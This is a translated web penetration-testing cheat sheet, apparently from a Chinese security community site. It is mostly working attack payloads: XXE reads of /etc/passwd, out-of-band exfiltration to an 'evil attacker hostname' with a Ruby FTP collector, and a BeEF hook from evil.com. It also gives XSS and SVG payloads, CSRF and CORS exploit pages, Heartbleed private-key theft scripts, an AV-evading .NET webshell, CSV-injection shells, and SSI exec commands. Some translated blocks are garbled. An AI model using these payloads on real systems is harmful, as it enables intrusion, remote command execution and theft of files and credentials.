

Web Fuzz

XXE

测试方法

发现post请求的接口的时候，可以这样试试：

```
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">
]>
<methodCall><methodName>&test;</methodName></methodCall>
```

如果发现了一个错误：

```
<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test "nice string bro">]
>

<methodCall><methodName>&test;</methodName></methodCall>
```

说明能够解析，试试读文件：

```
<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "file:///etc/passwd">]
>

<methodCall><methodName>&test;</methodName></methodCall>
```

或者用php伪协议：

```
<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=index.php">]
>

<methodCall><methodName>&test;</methodName></methodCall>
```

得到的结果再base64解码即可。

webgoat8

测试方法

试一试是否可以添加实体的评论：

```
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">
]>
<comment><text>&test;</text></comment>
```

可以的话，试试file：

```
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<comment><text>&test;</text></comment>
```

MUTILLIDAE

要获取mutillidae上的文件，要在form表单提交的过程中使用测试的payload：

```
<?xml version="1.0"?> <!DOCTYPE a
[<!ENTITY TEST SYSTEM "file:///etc/passwd">]
>

<methodCall><methodName>&TEST;</methodName></methodCall>
```

或者把xml版本忽略掉：

```
<!DOCTYPE a
[<!ENTITY TEST SYSTEM "file:///etc/passwd">]
>

<methodCall><methodName>&TEST;</methodName></methodCall>
```

以及上面提到的php流：

```
<!DOCTYPE a
[<!ENTITY TEST SYSTEM "php://filter/convert.base64-encode/resource=phpinfo.php">]
>

<methodCall><methodName>&TEST;</methodName></methodCall>
```

OUT OF BAND

基础测试

1. 使用 burp 的collaborator 然后单击copy the payload to clipboard
2. 将下面的code放入xml文件，然后上传：

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://burp.collab.server" >]><foo>&xxe;</foo>
```

看看是否发送了请求

The screenshot shows the Burp Collaborator client interface. At the top, there's a header bar with the title 'Burp Collaborator client'. Below it, a message says: 'Click "Copy to clipboard" to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from using the payloads will appear below.'

Under the heading 'Generate Collaborator payloads', there are two input fields: 'Number to generate:' with the value '1', and a 'Copy to clipboard' button. To the right, there's a checked checkbox labeled 'Include Collaborator server location'.

Below that, under the heading 'Poll Collaborator interactions', there are two input fields: 'Poll every' with the value '60', and a 'Poll now' button.

The main part of the interface is a table showing interaction logs. The table has five columns: '#', 'Time', 'Type', 'Payload', and 'Comment'. There are 8 rows of data, all showing DNS requests with the same payload: '929vjrafgg1d37sr8ig8l5asrjxdl2'. The times are in UTC and range from 2018-12-13 05:22:02 to 05:22:09. The comments are empty.

At the bottom right of the interface, there is a logo for '先知社区' (Xianzhi Community).

成功后，再利用其他payload

读文件

wing.xml

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM
    "file:///etc/lsb-release">
  <!ENTITY % dtd SYSTEM
    "http://<evil attacker hostname>:8000/evil.dtd">
    %dtd;
]>
<data>&send;</data>

vps->evil.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://<evil attacker hostname>:8000/?collect=%file;'>"> %all;

host in dtd:

python -m SimpleHTTPServer 8000
```

使用FTP读文件

evil.xml

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
  <!ENTITY % asd SYSTEM "http://<evil attacker hostname>:8090/xxe_file.dtd">
    %asd;
    %c;
]>
<a>&rrrr;</a>

■■dtd■■■■VPS■■:

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://<evil attacker hostname>:2121/%d;'>">
```

ruby利用脚本：

```
require 'socket'

ftp_server = TCPServer.new 2121
http_server = TCPServer.new 8088

log = File.open( "xxe-ftp.log", "a")

payload = '<!ENTITY % asd SYSTEM "file:///etc/passwd">'

Thread.start do
loop do
  Thread.start(http_server.accept) do |http_client|
    puts "HTTP. New client connected"
    loop {
      req = http_client.gets()
      break if req.nil?
      if req.start_with? "GET"
        http_client.puts("HTTP/1.1 200 OK\r\nContent-length: #{payload.length}\r\n\r\n#{payload}")
      end
      puts req
    }
    puts "HTTP. Connection closed"
  end
end

end

Thread.start do
loop do
  Thread.start(ftp_server.accept) do |ftp_client|
```

```

puts "FTP. New client connected"
ftp_client.puts("220 xxe-ftp-server")
loop {
  req = ftp_client.gets()
  break if req.nil?
  puts "< "+req
  log.write "get req: #{req.inspect}\n"

  if req.include? "LIST"
    ftp_client.puts("drwxrwxrwx 1 owner group          1 Feb 21 04:37 test")
    ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls")
    ftp_client.puts("226 Transfer complete.")
  elsif req.include? "USER"
    ftp_client.puts("331 password please - version check")
  elsif req.include? "PORT"
    puts "! PORT received"
    puts "> 200 PORT command ok"
    ftp_client.puts("200 PORT command ok")
  else
    puts "> 230 more data please!"
    ftp_client.puts("230 more data please!")
  end
}
puts "FTP. Connection closed"
end
end
end

loop do
  sleep(10000)
end

fuzz

```

<https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt>

XSS

对于asp的站点，我们用unicode编码尖括号，适用于存储型XSS：

```
'%ufflscript%ufflealert('XSS');%ufflc/script%uffle'
```

文件上传的XSS

发现上传点的时候，可以试试用payload作为文件名：

```
<img src=x onerror=alert('XSS')>.png
```

or：

```
"><img src=x onerror=alert('XSS')>.png
```

or:

```
"><svg onmouseover=alert(1)>.svg
```

SVG

stuff.svg

```

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert('XSS!');
  </script>
</svg>

```

XML

```

<html>
<head></head>

```


Bug Bounty Write-ups:

https://hackerone.com/reports/115748
https://hackerone.com/reports/301924
https://www.sxcurity.pro/hackertarget/
http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
https://seanmelia.files.wordpress.com/2016/07/ssrf-to-pivot-internal-networks.pdf
https://github.com/ngalongc/bug-bounty-reference#server-side-request-forgery-ssrf
https://hack-ed.net/2017/11/07/a-nifty-ssrf-bug-bounty-write-up/

SQL注入

使用SQLMap在PUT REST Params中测试SQLi：

- ```
1. ■■ *■■Vulnerable■■
2. ■■■■■■■■■■■■■■■■■■■■
3. ■sqlmap■■■
```

```
sqlmap -r <file with request> -vvvv
```

备忘录:<https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>

可以试试双编码输入。

## 会话固定

快速检查的方法，可用于确定会话固定漏洞是否是网站上的问题：

ID

[illegible]

CSRF

一些绕过技术，即使有CSRF Token:

<https://zseano.com/tutorials/5.html>

csrf和reset api:

```
<html>
<script>
function jsonreq() {
 var xmlhttp = new XMLHttpRequest();
 xmlhttp.open("POST","https://target.com/api/endpoint", true);
 xmlhttp.setRequestHeader("Content-Type","text/plain");
 //xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
 xmlhttp.withCredentials = true;
 xmlhttp.send(JSON.stringify({"test":"x"}));
}
jsonreq();
</script>
</html>
```

案例:

<https://blog.appsecco.com/exploiting-csrf-on-json-endpoints-with-flash-and-redirects-681d4ad6b31b>  
<http://c0rni3sm.blogspot.com/2018/01/1800-in-less-than-hour.html>

## CSRF TO REDECT XSS

```
<html>
<body>
 <p>Please wait... ;)</p>
 <script>
let host = 'http://target.com'
let beef_payload = '%3c%73%63%72%69%70%74%3e%20%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%
let alert_payload = '%3Cimg%2Fsrc%2Fonerror%3Dalert(1)%3E'

function submitRequest() {
 var req = new XMLHttpRequest();
 req.open(<CSRF components, which can easily be copied from Burp's POC generator>);
```

```

req.setRequestHeader("Accept", "*/*");
req.withCredentials = true;
req.onreadystatechange = function () {
 if (req.readyState === 4) {
 executeXSS();
 }
}
req.send();
}

function executeXSS() {
 window.location.assign(host+'<URI with XSS>'+alert_payload);
}

submitRequest();
</script>
</body>
</html>

```

## 文件上传漏洞

在OS X上创建测试10g文件（对于测试文件上传限制很有用）：

```
mkfile -n 10g temp_10GB_file
```

## 无限制的文件上传

资源:

<http://nileshkumar83.blogspot.com/2017/01/file-upload-through-null-byte-injection.html>

一些备忘录:<https://github.com/jhaddix/tbhm>

## CORS配置错误

用于测试的POC:

```

<!DOCTYPE html>
<html>
<body>
 <center>
 <h2>CORS POC Exploit</h2>

 <div id="demo">
 <button type="button" onclick="cors()">Exploit</button>
 </div>

 <script>
function cors() {
 var req = new XMLHttpRequest();
 req.onreadystatechange = function() {
 if (this.readyState == 4 && this.status == 200) {
 document.getElementById("demo").innerHTML = this.responseText;
 // If you want to print something out after it finishes:
 //alert(req.getAllResponseHeaders());
 //alert(localStorage.access_token);
 }
 };
 // If you need to set a header (you probably won't):
 // req.setRequestHeader("header name", "value");
 req.open("GET", "<site>", true);
 req.withCredentials = true;
 req.send();
}

 </script>
 </body>
</html>

```

资源:



<https://www.securityninja.io/understanding-cross-origin-resource-sharing-cors/>  
<http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html>  
<https://www.youtube.com/watch?v=wgkj4ZgxI4c>  
<http://ejj.io/misconfigured-cors/>  
<https://www.youtube.com/watch?v=lg3lRYYG-T4>  
<https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS>  
<https://w3c.github.io/webappsec-cors-for-developers/#cors>  
<http://gerionsecurity.com/2013/11/cors-attack-scenarios/>  
Using CORS misconfiguration to steal a CSRF Token:  
<https://yassineaboukir.com/blog/security-impact-of-a-misconfigured-cors-implementation/>

## 测试心脏出血漏洞

```
nmap -d --script ssl-heartbleed --script-args vulns.showall -sV -p <port> <target ip> --script-trace -oA heartbleed-%y%m%d
```

## 偷私钥

```
wget https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py
echo "<target>:<port>" > targets.txt
python heartbleed.py -f targets.txt -v -e

wget https://raw.githubusercontent.com/sensepost/heartbleed-poc/master/heartbleed-poc.py
python heartbleed-poc.py <target> -p <target port> | less
```

<https://gist.github.com/bonsaiviking/10402038>  
<https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py>

## 重定向

<http://breenmachine.blogspot.com/2013/01/abusing-open-redirects-to-bypass-xss.html>

重定向到beef :

```
<script> s=document.createElement('script'); s.type='text/javascript'; s.src='http://evil.com:3000/hook.js'; document.getEleme
```

使用Burp中的Decoder将其编码为base-64，并将其传递给payload：

```
data:text/html;base64,PHNjcmlwdD4gc21kb2N1bWVudC5jcmVhdGVFbGVVtZW50KCdzY3JpcHQnKTsgcy50eXB1PSd0ZXh0L2phdmFzY3JpcHQnOyBzLnNyYz0m
```

other :

```
http://;URL=javascript:alert('XSS')
data:text/html%3bbase64,PHNjcmlwdD5hbGVydCgnWFNTJyK8L3NjcmlwdD4K
```

<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20redirect>

## CRLF注入

当你看到请求的参数是这样:

```
http://inj.example.org/redirect.asp?origin=foo
```

回显是这样：

```
HTTP/1.1 302 Object moved
Date: Mon, 07 Mar 2016 17:42:46 GMT
Location: account.asp?origin=foo
Connection: close
Content-Length: 121
```

```
<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found here.</body>
```

尝试CRLF注射：

```
http://inj.example.org/redirect.asp?origin=foo%0d%0aSet-Cookie:%20ASPSESSIONIDACCBBTCD=SessionFixed%0d%0a
```

CRLF■ %0d%0a

<https://www.gracefulsecurity.com/http-header-injection/>  
[https://www.owasp.org/index.php/Testing\\_for\\_HTTP\\_Splitting/Smuggling\\_\(OTG-INPVAL-016\)](https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016))

<https://www.acunetix.com/websitesecurity/crlf-injection/>  
<https://blog.innerht.ml/twitter-crlf-injection/>

## 模板注入

您可以将一些代码放入jsfiddle以进行payload测试：

```
<html>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.js"></script>
</head>
<body>
<div ng-app>
{{constructor.constructor('alert(1)')()}}
</div>
</body>
</html>
```

<http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html>

## RCE

使用WEBSHELL上传(.NET) 绕过AV：

这是一个示例，其中包含fuzzdb项目中的一个webshell：

```
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="C#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string executeIt(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrd = p.StandardOutput;
string s = stmrd.ReadToEnd();
stmrd.Close();
return s;
}
void cmdClick(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(executeIt(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>REALLY NICE</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="execute" OnClick="cmdClick"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
```

<https://hax365.wordpress.com/2015/12/15/easy-trick-to-upload-a-web-shell-and-bypass-av-products/>

## PHP中的匿名函数RCE

```
$inputFunc = function() use($a, $b, $c, &$f){echo(exec('whoami'))};
```

## PHP实验

如果您需要测试一些PHP代码，可以使用本机Web服务器来托管它：

```
php -S 127.0.0.1:80 -t .
```

## PHP交互式SHELL

```
php -a
```

## CSV注入

在Windows上的Excel中，输入以下内容以获取cmd shell：

```
=cmd|'cmd'!''
```

example:<https://rhinosecuritylabs.com/azure/cloud-security-risks-part-1-azure-csv-injection-vulnerability/>

movie：<https://www.youtube.com/watch?v=SC7AkclnG2g>

## 有用的脚本

不断检查网站服务是否关闭：

```
while true; do /usr/bin/wget "http://[target]/uri/path" --timeout 30 -O - 2>/dev/null | grep "[item on page]" || echo "The sit
```

## IDORS

<https://www.bugcrowd.com/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/>

## 服务器端包含注入

把它放在一个易受攻击的参数中：

如果有效，您应该在响应中看到当前日期和时间输出。

```
<!--#printenv -->：输出环境变量。
```

```
<!--#exec cmd="cat /etc/passwd"-->
```

more:

```
<pre><!--#exec cmd="ls" --></pre>
<pre><!--#echo var="DATE_LOCAL" --> </pre>
<pre><!--#exec cmd="whoami"--></pre>
<pre><!--#exec cmd="dir" --></pre>
<!--#exec cmd="ls" -->
<!--#exec cmd="wget http://website.com/dir/shell.txt" -->
<!--#exec cmd="/bin/ls /" -->
<!--#exec cmd="dir" -->
<!--#exec cmd="cd C:\WINDOWS\System32">
<!--#config errmsg="File not found, informs users and password"-->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#config timefmt="A %B %d %Y %r"-->
<!--#fsize file="ssi.shtml" -->
<!--#include file=?UUUUUUUU...UU?-->
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="whoami"-->
<!--#printenv -->
<!--#flastmod virtual="echo.html" -->
<!--#echo var="auth_type" -->
<!--#echo var="http_referer" -->
<!--#echo var="content_length" -->
<!--#echo var="content_type" -->
<!--#echo var="http_accept_encoding" -->
<!--#echo var="forwarded" -->
<!--#echo var="document_uri" -->
```

```

<!--#echo var="date_gmt" -->
<!--#echo var="date_local" -->
<!--#echo var="document_name" -->
<!--#echo var="document_root" -->
<!--#echo var="from" -->
<!--#echo var="gateway_interface" -->
<!--#echo var="http_accept" -->
<!--#echo var="http_accept_charset" -->
<!--#echo var="http_accept_language" -->
<!--#echo var="http_connection" -->
<!--#echo var="http_cookie" -->
<!--#echo var="http_form" -->
<!--#echo var="http_host" -->
<!--#echo var="user_name" -->
<!--#echo var="unique_id" -->
<!--#echo var="tz" -->
<!--#echo var="total_hits" -->
<!--#echo var="server_software" -->
<!--#echo var="server_protocol" -->
<!--#echo var="server_port" -->
<!--#echo var="server_name" -->
<!--#echo var="server_addr" -->
<!--#echo var="server_admin" -->
<!--#echo var="script_url" -->
<!--#echo var="script_uri" -->
<!--#echo var="script_name" -->
<!--#echo var="script_filename" -->
<!--#echo var="netsite_root" -->
<!--#echo var="site_htmlroot" -->
<!--#echo var="path_translated" -->
<!--#echo var="path_info_translated" -->
<!--#echo var="request_uri" -->
<!--#echo var="request_method" -->
<!--#echo var="remote_user" -->
<!--#echo var="remote_addr" -->
<!--#echo var="http_client_ip" -->
<!--#echo var="remote_port" -->
<!--#echo var="remote_ident" -->
<!--#echo var="remote_host" -->
<!--#echo var="query_string_unescaped" -->
<!--#echo var="query_string" -->
<!--#echo var="path_translated" -->
<!--#echo var="path_info" -->
<!--#echo var="path" -->
<!--#echo var="page_count" -->
<!--#echo var="last_modified" -->
<!--#echo var="http_user_agent" -->
<!--#echo var="http_ua_os" -->
<!--#echo var="http_ua_cpu" -->

```

## 点击劫持

只需使用Burp的clickbandit。还要记住：Clickjacking适用于点击，而不适用于键盘。

poc:

```

<html>
 <head>
 <title>Clickjack test page</title>
 </head>
 <body>
 <p>Website is vulnerable to clickjacking!</p>
 <iframe src="http://target.com" width="500" height="500"></iframe>
 </body>
</html>

```

[https://www.owasp.org/index.php/Testing\\_for\\_Clickjacking\\_\(OTG-CLIENT-009\)](https://www.owasp.org/index.php/Testing_for_Clickjacking_(OTG-CLIENT-009))

<https://javascript.info/clickjacking>

<https://www.tinfoilsecurity.com/blog/what-is-clickjacking>

## 攻击JSON

利用burp标记参数进行主动扫描

<https://www.coalfire.com/Solutions/Coalfire-Labs/The-Coalfire-LABS-Blog/may-2018/the-right-way-to-test-json-parameters-with-burp>

## 反序列化漏洞

[Writeup on Oracle Weblogic CVE-2018-2628](#)

[Java Deserialization Scanner Burp Extension](#)

[Java Serialized Payloads Burp Extension](#)

## 工具

[Ysoerial](#)

## 测试不安全的JWT

```
■■JSON Web Tokens Burp■■
■■■■■■■■■■Repeater
■■JSON Web Tokens■■■
■■■■■■■■■■
■■Alg None Attack■■■■■■
■■Go
■■■■■■■■■■
```

## LFI

<https://hack-ed.net/2017/11/05/finally-a-bug-bounty-write-up-lfi/>

## 子域名探测技术

<https://0xpatrik.com/subdomain-takeover-starbucks/>

原文地址：<https://techvomit.net/web-application-penetration-testing-notes/>

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[唐小风](#) 2018-12-16 19:46:33

这代码排版看了好头痛

下次翻译带个word附件下载就好了

0 回复Ta

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[A0xpge](#) 2018-12-17 09:31:22

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[wing](#) 2018-12-20 23:14:18

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